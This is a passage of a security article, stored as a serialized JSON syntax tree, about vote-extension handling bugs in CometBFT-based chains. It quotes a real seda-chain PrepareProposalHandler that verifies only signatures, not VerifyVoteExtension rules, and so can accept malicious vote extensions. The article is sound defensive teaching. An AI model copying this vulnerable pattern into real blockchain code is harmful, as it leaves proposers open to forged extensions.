p2p",{"type":23,"tag":314,"props":82644,"children":82645},{"style":338},[82646],{"type":28,"value":282},{"type":23,"tag":314,"props":82648,"children":82649},{"style":2674},[82650],{"type":28,"value":82651},"ID",{"type":23,"tag":314,"props":82653,"children":82654},{"style":338},[82655],{"type":28,"value":75635},{"type":23,"tag":314,"props":82657,"children":82658},{"style":360},[82659],{"type":28,"value":82660},"added",{"type":23,"tag":314,"props":82662,"children":82663},{"style":2674},[82664],{"type":28,"value":11298},{"type":23,"tag":314,"props":82666,"children":82667},{"style":338},[82668],{"type":28,"value":778},{"type":23,"tag":314,"props":82670,"children":82671},{"style":360},[82672],{"type":28,"value":47670},{"type":23,"tag":314,"props":82674,"children":82675},{"style":2674},[82676],{"type":28,"value":14119},{"type":23,"tag":314,"props":82678,"children":82679},{"style":338},[82680],{"type":28,"value":367},{"type":23,"tag":314,"props":82682,"children":82683},{"class":316,"line":370},[82684],{"type":23,"tag":314,"props":82685,"children":82686},{"style":354},[82687],{"type":28,"value":19577},{"type":23,"tag":314,"props":82689,"children":82690},{"class":316,"line":380},[82691],{"type":23,"tag":314,"props":82692,"children":82693},{"emptyLinePlaceholder":18},[82694],{"type":28,"value":1088},{"type":23,"tag":314,"props":82696,"children":82697},{"class":316,"line":1091},[82698],{"type":23,"tag":314,"props":82699,"children":82700},{"style":374},[82701],{"type":28,"value":82702}," // A precommit for the previous height?\n",{"type":23,"tag":314,"props":82704,"children":82705},{"class":316,"line":1141},[82706],{"type":23,"tag":314,"props":82707,"children":82708},{"style":374},[82709],{"type":28,"value":82710}," // These come in while we wait timeoutCommit\n",{"type":23,"tag":314,"props":82712,"children":82713},{"class":316,"line":1173},[82714,82718,82723,82727,82732,82736,82740,82744,82749,82753,82757,82761,82765,82769,82774,82778,82782,82786,82791],{"type":23,"tag":314,"props":82715,"children":82716},{"style":2284},[82717],{"type":28,"value":11527},{"type":23,"tag":314,"props":82719,"children":82720},{"style":360},[82721],{"type":28,"value":82722}," vote",{"type":23,"tag":314,"props":82724,"children":82725},{"style":338},[82726],{"type":28,"value":282},{"type":23,"tag":314,"props":82728,"children":82729},{"style":360},[82730],{"type":28,"value":82731},"Height",{"type":23,"tag":314,"props":82733,"children":82734},{"style":354},[82735],{"type":28,"value":1130},{"type":23,"tag":314,"props":82737,"children":82738},{"style":1054},[82739],{"type":28,"value":3267},{"type":23,"tag":314,"props":82741,"children":82742},{"style":354},[82743],{"type":28,"value":2537},{"type":23,"tag":314,"props":82745,"children":82746},{"style":360},[82747],{"type":28,"value":82748}," cs",{"type":23,"tag":314,"props":82750,"children":82751},{"style":338},[82752],{"type":28,"value":282},{"type":23,"tag":314,"props":82754,"children":82755},{"style":360},[82756],{"type":28,"value":82731},{"type":23,"tag":314,"props":82758,"children":82759},{"style":354},[82760],{"type":28,"value":13432},{"type":23,"tag":314,"props":82762,"children":82763},{"style":360},[82764],{"type":28,"value":82722},{"type":23,"tag":314,"props":82766,"children":82767},{"style":338},[82768],{"type":28,"value":282},{"type":23,"tag":314,"props":82770,"children":82771},{"style":360},[82772],{"type":28,"value":82773},"Type",{"type":23,"tag":314,"props":82775,"children":82776},{"style":354},[82777],{"type":28,"value":2537},{"type":23,"tag":314,"props":82779,"children":82780},{"style":360},[82781],{"type":28,"value":77427},{"type":23,"tag":314,"props":82783,"children":82784},{"style":338},[82785],{"type":28,"value":282},{"type":23,"tag":314,"props":82787,"children":82788},{"style":360},[82789],{"type":28,"value":82790},"PrecommitType",{"type":23,"tag":314,"props":82792,"children":82793},{"style":338},[82794],{"type":28,"value":1449},{"type":23,"tag":314,"props":82796,"children":82797},{"class":316,"line":1208},[82798],{"type":23,"tag":314,"props":82799,"children":82800},{"style":354},[82801],{"type":28,"value":81094},{"type":23,"tag":314,"props":82803,"children":82804},{"class":316,"line":1216},[82805],{"type":23,"tag":314,"props":82806,"children":82807},{"style":374},[82808],{"type":28,"value":82809}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":314,"props":82811,"children":82812},{"class":316,"line":1301},[82813,82818,82822,82826,82830,82834,82838,82843,82847,82852,82856,82860],{"type":23,"tag":314,"props":82814,"children":82815},{"style":360},[82816],{"type":28,"value":82817}," added",{"type":23,"tag":314,"props":82819,"children":82820},{"style":338},[82821],{"type":28,"value":778},{"type":23,"tag":314,"props":82823,"children":82824},{"style":360},[82825],{"type":28,"value":47670},{"type":23,"tag":314,"props":82827,"children":82828},{"style":354},[82829],{"type":28,"value":1237},{"type":23,"tag":314,"props":82831,"children":82832},{"style":360},[82833],{"type":28,"value":82748},{"type":23,"tag":314,"props":82835,"children":82836},{"style":338},[82837],{"type":28,"value":282},{"type":23,"tag":314,"props":82839,"children":82840},{"style":360},[82841],{"type":28,"value":82842},"LastCommit",{"type":23,"tag":314,"props":82844,"children":82845},{"style":338},[82846],{"type":28,"value":282},{"type":23,"tag":314,"props":82848,"children":82849},{"style":332},[82850],{"type":28,"value":82851},"AddVote",{"type":23,"tag":314,"props":82853,"children":82854},{"style":338},[82855],{"type":28,"value":341},{"type":23,"tag":314,"props":82857,"children":82858},{"style":360},[82859],{"type":28,"value":82611},{"type":23,"tag":314,"props":82861,"children":82862},{"style":338},[82863],{"type":28,"value":2414},{"type":23,"tag":314,"props":82865,"children":82866},{"class":316,"line":1343},[82867],{"type":23,"tag":314,"props":82868,"children":82869},{"style":354},[82870],{"type":28,"value":81094},{"type":23,"tag":314,"props":82872,"children":82873},{"class":316,"line":1351},[82874,82878,82883,82887],{"type":23,"tag":314,"props":82875,"children":82876},{"style":2284},[82877],{"type":28,"value":14985},{"type":23,"tag":314,"props":82879,"children":82880},{"style":360},[82881],{"type":28,"value":82882}," added",{"type":23,"tag":314,"props":82884,"children":82885},{"style":338},[82886],{"type":28,"value":778},{"type":23,"tag":314,"props":82888,"children":82889},{"style":360},[82890],{"type":28,"value":82891},"err\n",{"type":23,"tag":314,"props":82893,"children":82894},{"class":316,"line":1387},[82895],{"type":23,"tag":314,"props":82896,"children":82897},{"style":338},[82898],{"type":28,"value":2610},{"type":23,"tag":314,"props":82900,"children":82901},{"class":316,"line":1422},[82902,82907,82911,82915,82919,82924,82928,82933,82937,82942,82946,82951,82955,82959,82963,82967],{"type":23,"tag":314,"props":82903,"children":82904},{"style":360},[82905],{"type":28,"value":82906}," extEnabled",{"type":23,"tag":314,"props":82908,"children":82909},{"style":354},[82910],{"type":28,"value":75669},{"type":23,"tag":314,"props":82912,"children":82913},{"style":360},[82914],{"type":28,"value":82748},{"type":23,"tag":314,"props":82916,"children":82917},{"style":338},[82918],{"type":28,"value":282},{"type":23,"tag":314,"props":82920,"children":82921},{"style":360},[82922],{"type":28,"value":82923},"state",{"type":23,"tag":314,"props":82925,"children":82926},{"style":338},[82927],{"type":28,"value":282},{"type":23,"tag":314,"props":82929,"children":82930},{"style":360},[82931],{"type":28,"value":82932},"ConsensusParams",{"type":23,"tag":314,"props":82934,"children":82935},{"style":338},[82936],{"type":28,"value":282},{"type":23,"tag":314,"props":82938,"children":82939},{"style":360},[82940],{"type":28,"value":82941},"Feature",{"type":23,"tag":314,"props":82943,"children":82944},{"style":338},[82945],{"type":28,"value":282},{"type":23,"tag":314,"props":82947,"children":82948},{"style":332},[82949],{"type":28,"value":82950},"VoteExtensionsEnabled",{"type":23,"tag":314,"props":82952,"children":82953},{"style":338},[82954],{"type":28,"value":341},{"type":23,"tag":314,"props":82956,"children":82957},{"style":360},[82958],{"type":28,"value":82611},{"type":23,"tag":314,"props":82960,"children":82961},{"style":338},[82962],{"type":28,"value":282},{"type":23,"tag":314,"props":82964,"children":82965},{"style":360},[82966],{"type":28,"value":82731},{"type":23,"tag":314,"props":82968,"children":82969},{"style":338},[82970],{"type":28,"value":2414},{"type":23,"tag":314,"props":82972,"children":82973},{"class":316,"line":1430},[82974,82978,82983],{"type":23,"tag":314,"props":82975,"children":82976},{"style":2284},[82977],{"type":28,"value":11527},{"type":23,"tag":314,"props":82979,"children":82980},{"style":360},[82981],{"type":28,"value":82982}," extEnabled",{"type":23,"tag":314,"props":82984,"children":82985},{"style":338},[82986],{"type":28,"value":1449},{"type":23,"tag":314,"props":82988,"children":82989},{"class":316,"line":1452},[82990],{"type":23,"tag":314,"props":82991,"children":82992},{"style":354},[82993],{"type":28,"value":81094},{"type":23,"tag":314,"props":82995,"children":82996},{"class":316,"line":1497},[82997,83001,83005,83009,83013,83017,83021,83025,83029,83033,83037,83041,83045,83050,83054,83059,83063],{"type":23,"tag":314,"props":82998,"children":82999},{"style":2284},[83000],{"type":28,"value":2527},{"type":23,"tag":314,"props":83002,"children":83003},{"style":360},[83004],{"type":28,"value":82722},{"type":23,"tag":314,"props":83006,"children":83007},{"style":338},[83008],{"type":28,"value":282},{"type":23,"tag":314,"props":83010,"children":83011},{"style":360},[83012],{"type":28,"value":82773},{"type":23,"tag":314,"props":83014,"children":83015},{"style":354},[83016],{"type":28,"value":2537},{"type":23,"tag":314,"props":83018,"children":83019},{"style":360},[83020],{"type":28,"value":77427},{"type":23,"tag":314,"props":83022,"children":83023},{"style":338},[83024],{"type":28,"value":282},{"type":23,"tag":314,"props":83026,"children":83027},{"style":360},[83028],{"type":28,"value":82790},{"type":23,"tag":314,"props":83030,"children":83031},{"style":354},[83032],{"type":28,"value":13432},{"type":23,"tag":314,"props":83034,"children":83035},{"style":354},[83036],{"type":28,"value":12112},{"type":23,"tag":314,"props":83038,"children":83039},{"style":360},[83040],{"type":28,"value":82611},{"type":23,"tag":314,"props":83042,"children":83043},{"style":338},[83044],{"type":28,"value":282},{"type":23,"tag":314,"props":83046,"children":83047},{"style":360},[83048],{"type":28,"value":83049},"BlockID",{"type":23,"tag":314,"props":83051,"children":83052},{"style":338},[83053],{"type":28,"value":282},{"type":23,"tag":314,"props":83055,"children":83056},{"style":332},[83057],{"type":28,"value":83058},"IsNil",{"type":23,"tag":314,"props":83060,"children":83061},{"style":338},[83062],{"type":28,"value":13290},{"type":23,"tag":314,"props":83064,"children":83065},{"style":354},[83066],{"type":28,"value":83067},"&&\n",{"type":23,"tag":314,"props":83069,"children":83070},{"class":316,"line":1539},[83071,83076,83081,83085,83089,83093,83097,83101,83106,83110,83115,83119],{"type":23,"tag":314,"props":83072,"children":83073},{"style":354},[83074],{"type":28,"value":83075}," !",{"type":23,"tag":314,"props":83077,"children":83078},{"style":360},[83079],{"type":28,"value":83080},"bytes",{"type":23,"tag":314,"props":83082,"children":83083},{"style":338},[83084],{"type":28,"value":282},{"type":23,"tag":314,"props":83086,"children":83087},{"style":332},[83088],{"type":28,"value":81550},{"type":23,"tag":314,"props":83090,"children":83091},{"style":338},[83092],{"type":28,"value":341},{"type":23,"tag":314,"props":83094,"children":83095},{"style":360},[83096],{"type":28,"value":82611},{"type":23,"tag":314,"props":83098,"children":83099},{"style":338},[83100],{"type":28,"value":282},{"type":23,"tag":314,"props":83102,"children":83103},{"style":360},[83104],{"type":28,"value":83105},"ValidatorAddress",{"type":23,"tag":314,"props":83107,"children":83108},{"style":338},[83109],{"type":28,"value":778},{"type":23,"tag":314,"props":83111,"children":83112},{"style":360},[83113],{"type":28,"value":83114},"myAddr",{"type":23,"tag":314,"props":83116,"children":83117},{"style":338},[83118],{"type":28,"value":23234},{"type":23,"tag":314,"props":83120,"children":83121},{"style":374},[83122],{"type":28,"value":83123},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":314,"props":83125,"children":83126},{"class":316,"line":1548},[83127],{"type":23,"tag":314,"props":83128,"children":83129},{"style":354},[83130],{"type":28,"value":81770},{"type":23,"tag":314,"props":83132,"children":83133},{"class":316,"line":1584},[83134,83138,83142,83146,83150,83155,83159,83163,83167,83172,83176,83181,83185,83189],{"type":23,"tag":314,"props":83135,"children":83136},{"style":360},[83137],{"type":28,"value":81588},{"type":23,"tag":314,"props":83139,"children":83140},{"style":354},[83141],{"type":28,"value":75669},{"type":23,"tag":314,"props":83143,"children":83144},{"style":360},[83145],{"type":28,"value":82748},{"type":23,"tag":314,"props":83147,"children":83148},{"style":338},[83149],{"type":28,"value":282},{"type":23,"tag":314,"props":83151,"children":83152},{"style":360},[83153],{"type":28,"value":83154},"blockExec",{"type":23,"tag":314,"props":83156,"children":83157},{"style":338},[83158],{"type":28,"value":282},{"type":23,"tag":314,"props":83160,"children":83161},{"style":332},[83162],{"type":28,"value":82416},{"type":23,"tag":314,"props":83164,"children":83165},{"style":338},[83166],{"type":28,"value":341},{"type":23,"tag":314,"props":83168,"children":83169},{"style":360},[83170],{"type":28,"value":83171},"context",{"type":23,"tag":314,"props":83173,"children":83174},{"style":338},[83175],{"type":28,"value":282},{"type":23,"tag":314,"props":83177,"children":83178},{"style":332},[83179],{"type":28,"value":83180},"TODO",{"type":23,"tag":314,"props":83182,"children":83183},{"style":338},[83184],{"type":28,"value":17613},{"type":23,"tag":314,"props":83186,"children":83187},{"style":360},[83188],{"type":28,"value":82611},{"type":23,"tag":314,"props":83190,"children":83191},{"style":338},[83192],{"type":28,"value":2414},{"type":23,"tag":314,"props":83194,"children":83195},{"class":316,"line":1617},[83196],{"type":23,"tag":314,"props":83197,"children":83198},{"style":354},[83199],{"type":28,"value":81770},{"type":23,"tag":314,"props":83201,"children":83202},{"class":316,"line":1625},[83203],{"type":23,"tag":314,"props":83204,"children":83205},{"style":338},[83206],{"type":28,"value":2602},{"type":23,"tag":314,"props":83208,"children":83209},{"class":316,"line":1660},[83210,83214,83218,83222],{"type":23,"tag":314,"props":83211,"children":83212},{"style":338},[83213],{"type":28,"value":15020},{"type":23,"tag":314,"props":83215,"children":83216},{"style":2284},[83217],{"type":28,"value":2570},{"type":23,"tag":314,"props":83219,"children":83220},{"style":2284},[83221],{"type":28,"value":15029},{"type":23,"tag":314,"props":83223,"children":83224},{"style":338},[83225],{"type":28,"value":1449},{"type":23,"tag":314,"props":83227,"children":83228},{"class":316,"line":1708},[83229],{"type":23,"tag":314,"props":83230,"children":83231},{"style":354},[83232],{"type":28,"value":81094},{"type":23,"tag":314,"props":83234,"children":83235},{"class":316,"line":1743},[83236],{"type":23,"tag":314,"props":83237,"children":83238},{"style":338},[83239],{"type":28,"value":2610},{"type":23,"tag":314,"props":83241,"children":83242},{"class":316,"line":1751},[83243],{"type":23,"tag":314,"props":83244,"children":83245},{"style":354},[83246],{"type":28,"value":19577},{"type":23,"tag":314,"props":83248,"children":83249},{"class":316,"line":1791},[83250],{"type":23,"tag":314,"props":83251,"children":83252},{"style":338},[83253],{"type":28,"value":386},{"type":23,"tag":24,"props":83255,"children":83256},{},[83257],{"type":28,"value":83258},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":837,"props":83260,"children":83262},{"id":83261},"real-world-examples-4",[83263],{"type":28,"value":75941},{"type":23,"tag":24,"props":83265,"children":83266},{},[83267,83269,83274,83276,83282,83284,83290],{"type":28,"value":83268},"An example of the bug we just described is shown here. ",{"type":23,"tag":94,"props":83270,"children":83272},{"className":83271},[],[83273],{"type":28,"value":82395},{"type":28,"value":83275}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":94,"props":83277,"children":83279},{"className":83278},[],[83280],{"type":28,"value":83281},"ValidateVoteExtension",{"type":28,"value":83283}," but does not verify it against the rules in ",{"type":23,"tag":94,"props":83285,"children":83287},{"className":83286},[],[83288],{"type":28,"value":83289},"VerifyVoteExtention.",{"type":28,"value":83291}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":83293,"children":83294},{},[83295],{"type":23,"tag":31,"props":83296,"children":83299},{"href":83297,"rel":83298},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[35],[83300],{"type":28,"value":75991},{"type":23,"tag":304,"props":83302,"children":83304},{"code":83303,"language":75417,"meta":7,"className":75418,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[83305],{"type":23,"tag":94,"props":83306,"children":83307},{"__ignoreMap":7},[83308,83362,83453,83460,83481,83548,83556,83661,83684,83703,83710,83764,83787,83842,83861,83868,83875,83882,83936,83943,83969,83992,84044,84106,84113,84140,84160,84172,84179],{"type":23,"tag":314,"props":83309,"children":83310},{"class":316,"line":317},[83311,83315,83319,83324,83328,83333,83337,83342,83346,83350,83354,83358],{"type":23,"tag":314,"props":83312,"children":83313},{"style":321},[83314],{"type":28,"value":75553},{"type":23,"tag":314,"props":83316,"children":83317},{"style":338},[83318],{"type":28,"value":2324},{"type":23,"tag":314,"props":83320,"children":83321},{"style":360},[83322],{"type":28,"value":83323},"h ",{"type":23,"tag":314,"props":83325,"children":83326},{"style":354},[83327],{"type":28,"value":256},{"type":23,"tag":314,"props":83329,"children":83330},{"style":2674},[83331],{"type":28,"value":83332},"Handlers",{"type":23,"tag":314,"props":83334,"children":83335},{"style":338},[83336],{"type":28,"value":2343},{"type":23,"tag":314,"props":83338,"children":83339},{"style":332},[83340],{"type":28,"value":83341},"PrepareProposalHandler",{"type":23,"tag":314,"props":83343,"children":83344},{"style":338},[83345],{"type":28,"value":13290},{"type":23,"tag":314,"props":83347,"children":83348},{"style":2674},[83349],{"type":28,"value":77982},{"type":23,"tag":314,"props":83351,"children":83352},{"style":338},[83353],{"type":28,"value":282},{"type":23,"tag":314,"props":83355,"children":83356},{"style":2674},[83357],{"type":28,"value":83341},{"type":23,"tag":314,"props":83359,"children":83360},{"style":338},[83361],{"type":28,"value":1449},{"type":23,"tag":314,"props":83363,"children":83364},{"class":316,"line":370},[83365,83369,83373,83377,83381,83385,83389,83393,83397,83402,83406,83411,83415,83420,83424,83428,83432,83436,83441,83445,83449],{"type":23,"tag":314,"props":83366,"children":83367},{"style":2284},[83368],{"type":28,"value":16228},{"type":23,"tag":314,"props":83370,"children":83371},{"style":321},[83372],{"type":28,"value":79261},{"type":23,"tag":314,"props":83374,"children":83375},{"style":338},[83376],{"type":28,"value":341},{"type":23,"tag":314,"props":83378,"children":83379},{"style":360},[83380],{"type":28,"value":19518},{"type":23,"tag":314,"props":83382,"children":83383},{"style":2674},[83384],{"type":28,"value":77893},{"type":23,"tag":314,"props":83386,"children":83387},{"style":338},[83388],{"type":28,"value":282},{"type":23,"tag":314,"props":83390,"children":83391},{"style":2674},[83392],{"type":28,"value":75602},{"type":23,"tag":314,"props":83394,"children":83395},{"style":338},[83396],{"type":28,"value":778},{"type":23,"tag":314,"props":83398,"children":83399},{"style":360},[83400],{"type":28,"value":83401},"req",{"type":23,"tag":314,"props":83403,"children":83404},{"style":354},[83405],{"type":28,"value":357},{"type":23,"tag":314,"props":83407,"children":83408},{"style":2674},[83409],{"type":28,"value":83410},"abcitypes",{"type":23,"tag":314,"props":83412,"children":83413},{"style":338},[83414],{"type":28,"value":282},{"type":23,"tag":314,"props":83416,"children":83417},{"style":2674},[83418],{"type":28,"value":83419},"RequestPrepareProposal",{"type":23,"tag":314,"props":83421,"children":83422},{"style":338},[83423],{"type":28,"value":75635},{"type":23,"tag":314,"props":83425,"children":83426},{"style":354},[83427],{"type":28,"value":256},{"type":23,"tag":314,"props":83429,"children":83430},{"style":2674},[83431],{"type":28,"value":83410},{"type":23,"tag":314,"props":83433,"children":83434},{"style":338},[83435],{"type":28,"value":282},{"type":23,"tag":314,"props":83437,"children":83438},{"style":2674},[83439],{"type":28,"value":83440},"ResponsePrepareProposal",{"type":23,"tag":314,"props":83442,"children":83443},{"style":338},[83444],{"type":28,"value":778},{"type":23,"tag":314,"props":83446,"children":83447},{"style":2674},[83448],{"type":28,"value":14106},{"type":23,"tag":314,"props":83450,"children":83451},{"style":338},[83452],{"type":28,"value":367},{"type":23,"tag":314,"props":83454,"children":83455},{"class":316,"line":380},[83456],{"type":23,"tag":314,"props":83457,"children":83458},{"style":354},[83459],{"type":28,"value":81094},{"type":23,"tag":314,"props":83461,"children":83462},{"class":316,"line":1091},[83463,83467,83472,83476],{"type":23,"tag":314,"props":83464,"children":83465},{"style":321},[83466],{"type":28,"value":79370},{"type":23,"tag":314,"props":83468,"children":83469},{"style":360},[83470],{"type":28,"value":83471}," injection",{"type":23,"tag":314,"props":83473,"children":83474},{"style":338},[83475],{"type":28,"value":75480},{"type":23,"tag":314,"props":83477,"children":83478},{"style":2674},[83479],{"type":28,"value":83480},"byte\n",{"type":23,"tag":314,"props":83482,"children":83483},{"class":316,"line":1141},[83484,83488,83493,83497,83501,83505,83509,83513,83517,83521,83526,83530,83535,83539,83544],{"type":23,"tag":314,"props":83485,"children":83486},{"style":2284},[83487],{"type":28,"value":2527},{"type":23,"tag":314,"props":83489,"children":83490},{"style":360},[83491],{"type":28,"value":83492}," req",{"type":23,"tag":314,"props":83494,"children":83495},{"style":338},[83496],{"type":28,"value":282},{"type":23,"tag":314,"props":83498,"children":83499},{"style":360},[83500],{"type":28,"value":82731},{"type":23,"tag":314,"props":83502,"children":83503},{"style":354},[83504],{"type":28,"value":13441},{"type":23,"tag":314,"props":83506,"children":83507},{"style":360},[83508],{"type":28,"value":25089},{"type":23,"tag":314,"props":83510,"children":83511},{"style":338},[83512],{"type":28,"value":282},{"type":23,"tag":314,"props":83514,"children":83515},{"style":332},[83516],{"type":28,"value":82932},{"type":23,"tag":314,"props":83518,"children":83519},{"style":338},[83520],{"type":28,"value":29417},{"type":23,"tag":314,"props":83522,"children":83523},{"style":360},[83524],{"type":28,"value":83525},"Abci",{"type":23,"tag":314,"props":83527,"children":83528},{"style":338},[83529],{"type":28,"value":282},{"type":23,"tag":314,"props":83531,"children":83532},{"style":360},[83533],{"type":28,"value":83534},"VoteExtensionsEnableHeight",{"type":23,"tag":314,"props":83536,"children":83537},{"style":354},[83538],{"type":28,"value":13432},{"type":23,"tag":314,"props":83540,"children":83541},{"style":360},[83542],{"type":28,"value":83543}," collectSigs",{"type":23,"tag":314,"props":83545,"children":83546},{"style":338},[83547],{"type":28,"value":1449},{"type":23,"tag":314,"props":83549,"children":83550},{"class":316,"line":1173},[83551],{"type":23,"tag":314,"props":83552,"children":83553},{"style":374},[83554],{"type":28,"value":83555}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":314,"props":83557,"children":83558},{"class":316,"line":1208},[83559,83563,83567,83572,83576,83581,83585,83589,83593,83598,83602,83607,83611,83615,83619,83623,83627,83631,83635,83640,83644,83648,83652,83657],{"type":23,"tag":314,"props":83560,"children":83561},{"style":360},[83562],{"type":28,"value":81588},{"type":23,"tag":314,"props":83564,"children":83565},{"style":354},[83566],{"type":28,"value":75669},{"type":23,"tag":314,"props":83568,"children":83569},{"style":360},[83570],{"type":28,"value":83571}," baseapp",{"type":23,"tag":314,"props":83573,"children":83574},{"style":338},[83575],{"type":28,"value":282},{"type":23,"tag":314,"props":83577,"children":83578},{"style":332},[83579],{"type":28,"value":83580},"ValidateVoteExtensions",{"type":23,"tag":314,"props":83582,"children":83583},{"style":338},[83584],{"type":28,"value":341},{"type":23,"tag":314,"props":83586,"children":83587},{"style":360},[83588],{"type":28,"value":19518},{"type":23,"tag":314,"props":83590,"children":83591},{"style":338},[83592],{"type":28,"value":778},{"type":23,"tag":314,"props":83594,"children":83595},{"style":360},[83596],{"type":28,"value":83597},"h",{"type":23,"tag":314,"props":83599,"children":83600},{"style":338},[83601],{"type":28,"value":282},{"type":23,"tag":314,"props":83603,"children":83604},{"style":360},[83605],{"type":28,"value":83606},"stakingKeeper",{"type":23,"tag":314,"props":83608,"children":83609},{"style":338},[83610],{"type":28,"value":778},{"type":23,"tag":314,"props":83612,"children":83613},{"style":360},[83614],{"type":28,"value":83401},{"type":23,"tag":314,"props":83616,"children":83617},{"style":338},[83618],{"type":28,"value":282},{"type":23,"tag":314,"props":83620,"children":83621},{"style":360},[83622],{"type":28,"value":82731},{"type":23,"tag":314,"props":83624,"children":83625},{"style":338},[83626],{"type":28,"value":778},{"type":23,"tag":314,"props":83628,"children":83629},{"style":360},[83630],{"type":28,"value":19518},{"type":23,"tag":314,"props":83632,"children":83633},{"style":338},[83634],{"type":28,"value":282},{"type":23,"tag":314,"props":83636,"children":83637},{"style":332},[83638],{"type":28,"value":83639},"ChainID",{"type":23,"tag":314,"props":83641,"children":83642},{"style":338},[83643],{"type":28,"value":17613},{"type":23,"tag":314,"props":83645,"children":83646},{"style":360},[83647],{"type":28,"value":83401},{"type":23,"tag":314,"props":83649,"children":83650},{"style":338},[83651],{"type":28,"value":282},{"type":23,"tag":314,"props":83653,"children":83654},{"style":360},[83655],{"type":28,"value":83656},"LocalLastCommit",{"type":23,"tag":314,"props":83658,"children":83659},{"style":338},[83660],{"type":28,"value":2414},{"type":23,"tag":314,"props":83662,"children":83663},{"class":316,"line":1216},[83664,83668,83672,83676,83680],{"type":23,"tag":314,"props":83665,"children":83666},{"style":2284},[83667],{"type":28,"value":58052},{"type":23,"tag":314,"props":83669,"children":83670},{"style":360},[83671],{"type":28,"value":47771},{"type":23,"tag":314,"props":83673,"children":83674},{"style":354},[83675],{"type":28,"value":63639},{"type":23,"tag":314,"props":83677,"children":83678},{"style":321},[83679],{"type":28,"value":81170},{"type":23,"tag":314,"props":83681,"children":83682},{"style":338},[83683],{"type":28,"value":1449},{"type":23,"tag":314,"props":83685,"children":83686},{"class":316,"line":1301},[83687,83691,83695,83699],{"type":23,"tag":314,"props":83688,"children":83689},{"style":2284},[83690],{"type":28,"value":59980},{"type":23,"tag":314,"props":83692,"children":83693},{"style":321},[83694],{"type":28,"value":81170},{"type":23,"tag":314,"props":83696,"children":83697},{"style":338},[83698],{"type":28,"value":778},{"type":23,"tag":314,"props":83700,"children":83701},{"style":360},[83702],{"type":28,"value":82891},{"type":23,"tag":314,"props":83704,"children":83705},{"class":316,"line":1343},[83706],{"type":23,"tag":314,"props":83707,"children":83708},{"style":338},[83709],{"type":28,"value":58136},{"type":23,"tag":314,"props":83711,"children":83712},{"class":316,"line":1351},[83713,83718,83722,83726,83730,83735,83739,83744,83748,83752,83756,83760],{"type":23,"tag":314,"props":83714,"children":83715},{"style":360},[83716],{"type":28,"value":83717}," injection",{"type":23,"tag":314,"props":83719,"children":83720},{"style":338},[83721],{"type":28,"value":778},{"type":23,"tag":314,"props":83723,"children":83724},{"style":360},[83725],{"type":28,"value":47670},{"type":23,"tag":314,"props":83727,"children":83728},{"style":354},[83729],{"type":28,"value":1237},{"type":23,"tag":314,"props":83731,"children":83732},{"style":360},[83733],{"type":28,"value":83734}," json",{"type":23,"tag":314,"props":83736,"children":83737},{"style":338},[83738],{"type":28,"value":282},{"type":23,"tag":314,"props":83740,"children":83741},{"style":332},[83742],{"type":28,"value":83743},"Marshal",{"type":23,"tag":314,"props":83745,"children":83746},{"style":338},[83747],{"type":28,"value":341},{"type":23,"tag":314,"props":83749,"children":83750},{"style":360},[83751],{"type":28,"value":83401},{"type":23,"tag":314,"props":83753,"children":83754},{"style":338},[83755],{"type":28,"value":282},{"type":23,"tag":314,"props":83757,"children":83758},{"style":360},[83759],{"type":28,"value":83656},{"type":23,"tag":314,"props":83761,"children":83762},{"style":338},[83763],{"type":28,"value":2414},{"type":23,"tag":314,"props":83765,"children":83766},{"class":316,"line":1387},[83767,83771,83775,83779,83783],{"type":23,"tag":314,"props":83768,"children":83769},{"style":2284},[83770],{"type":28,"value":58052},{"type":23,"tag":314,"props":83772,"children":83773},{"style":360},[83774],{"type":28,"value":47771},{"type":23,"tag":314,"props":83776,"children":83777},{"style":354},[83778],{"type":28,"value":63639},{"type":23,"tag":314,"props":83780,"children":83781},{"style":321},[83782],{"type":28,"value":81170},{"type":23,"tag":314,"props":83784,"children":83785},{"style":338},[83786],{"type":28,"value":1449},{"type":23,"tag":314,"props":83788,"children":83789},{"class":316,"line":1422},[83790,83795,83799,83804,83808,83812,83816,83821,83825,83830,83834,83838],{"type":23,"tag":314,"props":83791,"children":83792},{"style":360},[83793],{"type":28,"value":83794}," h",{"type":23,"tag":314,"props":83796,"children":83797},{"style":338},[83798],{"type":28,"value":282},{"type":23,"tag":314,"props":83800,"children":83801},{"style":360},[83802],{"type":28,"value":83803},"logger",{"type":23,"tag":314,"props":83805,"children":83806},{"style":338},[83807],{"type":28,"value":282},{"type":23,"tag":314,"props":83809,"children":83810},{"style":332},[83811],{"type":28,"value":36647},{"type":23,"tag":314,"props":83813,"children":83814},{"style":338},[83815],{"type":28,"value":341},{"type":23,"tag":314,"props":83817,"children":83818},{"style":1245},[83819],{"type":28,"value":83820},"\"failed to marshal extended 